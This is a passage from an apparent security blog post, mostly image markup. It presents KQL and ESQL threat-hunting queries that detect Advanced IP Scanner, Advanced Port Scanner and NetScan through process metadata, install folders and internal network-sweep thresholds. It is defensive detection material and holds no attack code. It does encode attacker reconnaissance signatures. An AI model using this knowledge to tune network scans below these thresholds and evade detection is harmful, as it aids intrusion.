https://substackcdn.com/image/fetch/$s_!Z37f!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 848w, https://substackcdn.com/image/fetch/$s_!Z37f!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 1272w, https://substackcdn.com/image/fetch/$s_!Z37f!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!Z37f!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png" width="1444" height="705" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:705,&quot;width&quot;:1444,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:147650,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Z37f!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 424w, https://substackcdn.com/image/fetch/$s_!Z37f!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 848w, https://substackcdn.com/image/fetch/$s_!Z37f!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 1272w, https://substackcdn.com/image/fetch/$s_!Z37f!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h3>Network events</h3><blockquote><p><strong>Catches:</strong> any process making rapid connections to many private IPs across multiple ports. Tool-agnostic, so it survives binary renames AND metadata stripping. </p><p><strong>Tune:</strong> <code>ipThreshold</code> and <code>portThreshold</code> for your environment. Default 50 IPs / 3 ports per 5-minute bucket.</p></blockquote><pre><code>let startTime = datetime(2026-04-02T03:00:00);
let endTime   = datetime(2026-05-06T10:00:00);
let ipThreshold   = 50;
let portThreshold = 3;
let bucket = 5m;
DeviceNetworkEvents
| where Timestamp between (startTime .. endTime)
| where RemoteIPType == "Private"
| where ActionType startswith "Connection"
| summarize
    DistinctIPs   = dcount(RemoteIP),
    DistinctPorts = dcount(RemotePort),
    SampleIPs     = make_set(RemoteIP, 10),
    SamplePorts   = make_set(RemotePort, 10),
    FirstSeen     = min(Timestamp),
    LastSeen      = max(Timestamp)
    by DeviceName, InitiatingProcessFileName, InitiatingProcessSHA256, bin(Timestamp, bucket)
| where DistinctIPs &gt;= ipThreshold and DistinctPorts &gt;= portThreshold
| sort by DistinctIPs desc</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2VWL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2VWL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 424w, https://substackcdn.com/image/fetch/$s_!2VWL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 848w, https://substackcdn.com/image/fetch/$s_!2VWL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 1272w, https://substackcdn.com/image/fetch/$s_!2VWL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!2VWL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png" width="1234" height="659" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:659,&quot;width&quot;:1234,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:106847,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2VWL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 424w, https://substackcdn.com/image/fetch/$s_!2VWL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 848w, https://substackcdn.com/image/fetch/$s_!2VWL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 1272w, https://substackcdn.com/image/fetch/$s_!2VWL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h3>File events</h3><blockquote><p><strong>Catches:</strong> AIPS and APS install artifacts in their default folders. NetScan is already covered by the process query. </p><p><strong>Tune:</strong> folder path patterns if attackers stage to non-default locations.</p></blockquote><pre><code>DeviceFileEvents
| where Timestamp &gt; ago(30d)
| where ActionType in ("FileCreated", "FileModified", "FileRenamed")
| where FolderPath has_any (@"\Advanced IP Scanner 2", @"\Advanced Port Scanner 2")
| summarize FilesDropped = make_set(FileName, 20), FileCount = dcount(FileName), FirstDrop = min(Timestamp)
    by DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName,
       InitiatingProcessCommandLine, InitiatingProcessParentFileName
| order by FirstDrop asc</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8BJv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8BJv!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 424w, https://substackcdn.com/image/fetch/$s_!8BJv!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 848w, https://substackcdn.com/image/fetch/$s_!8BJv!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 1272w, https://substackcdn.com/image/fetch/$s_!8BJv!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!8BJv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png" width="1315" height="576" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:576,&quot;width&quot;:1315,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:104108,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8BJv!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 424w, https://substackcdn.com/image/fetch/$s_!8BJv!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 848w, https://substackcdn.com/image/fetch/$s_!8BJv!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 1272w, https://substackcdn.com/image/fetch/$s_!8BJv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h2>ESQL (Elastic)</h2><p>Same logic, Elastic field names.</p><h3>Process events</h3><blockquote><p><strong>Catches:</strong> same surface as the KQL process query. </p><p><strong>Tune:</strong> time window.</p></blockquote><pre><code>FROM logs-windows.sysmon_operational-default
| WHERE @timestamp &gt; NOW() - 30 days
  AND event.code == "1"
| EVAL cmd_l = TO_LOWER(process.command_line)
| WHERE process.pe.company     RLIKE ".*(Famatech|SoftPerfect).*"
     OR process.pe.product     RLIKE ".*(Advanced IP Scanner|Advanced Port Scanner|Network Scanner).*"
     OR process.pe.description RLIKE ".*(Advanced IP Scanner|Advanced Port Scanner|Application for scanning networks).*"
     OR (cmd_l LIKE "*/portable*" AND cmd_l LIKE "*/lng*")
     OR (cmd_l LIKE "*/hide*"     AND cmd_l LIKE "*/auto*")
| KEEP @timestamp, host.name, user.name, process.name, process.command_line,
       process.pe.company, process.pe.product, process.pe.description,
       process.hash.sha256, process.parent.name, process.parent.command_line
| SORT @timestamp ASC
| LIMIT 1000</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!izl-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!izl-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 424w, https://substackcdn.com/image/fetch/$s_!izl-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 848w, https://substackcdn.com/image/fetch/$s_!izl-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 1272w, https://substackcdn.com/image/fetch/$s_!izl-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!izl-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png" width="1456" height="715" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:715,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:184211,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!izl-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 424w, https://substackcdn.com/image/fetch/$s_!izl-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 848w, https://substackcdn.com/image/fetch/$s_!izl-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 1272w, https://substackcdn.com/image/fetch/$s_!izl-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h3>Network events</h3><blockquote><p><strong>Catches:</strong> sweep behavior across all three tools via Sysmon event 3. </p><p><strong>Tune:</strong> thresholds (default 3 IPs / 2 ports per 5-min bucket for Sysmon).</p></blockquote><pre><code>FROM logs-windows.sysmon_operational-default
| WHERE @timestamp &gt;= "2026-04-02T03:00:00Z" AND @timestamp &lt;= "2026-05-06T10:00:00Z"
    AND event.code == "3"
    AND process.name IS NOT NULL
    AND destination.ip IS NOT NULL
    AND CIDR_MATCH(destination.ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")
| STATS DistinctIPs   = COUNT_DISTINCT(destination.ip),
        DistinctPorts = COUNT_DISTINCT(destination.port),
        TotalConns    = COUNT(*),
        SampleIPs     = TOP(destination.ip, 10, "asc"),
        SamplePorts   = TOP(destination.port, 10, "asc"),
        FirstSeen     = MIN(@timestamp),
        LastSeen      = MAX(@timestamp)
    BY host.name,
       process.executable,
       time_bucket = BUCKET(@timestamp, 5 minutes)
| WHERE DistinctIPs &gt;= 3 AND DistinctPorts &gt;= 2
| SORT DistinctIPs DESC</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Oz83!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Oz83!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 424w, https://substackcdn.com/image/fetch/$s_!Oz83!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 848w, https://substackcdn.com/image/fetch/$s_!Oz83!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 1272w, https://substackcdn.com/image/fetch/$s_!Oz83!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!Oz83!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png" width="1456" height="738" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:738,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:151778,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Oz83!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 424w, https://substackcdn.com/image/fetch/$s_!Oz83!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 848w, https://substackcdn.com/image/fetch/$s_!Oz83!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 1272w, https://substackcdn.com/image/fetch/$s_!Oz83!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" 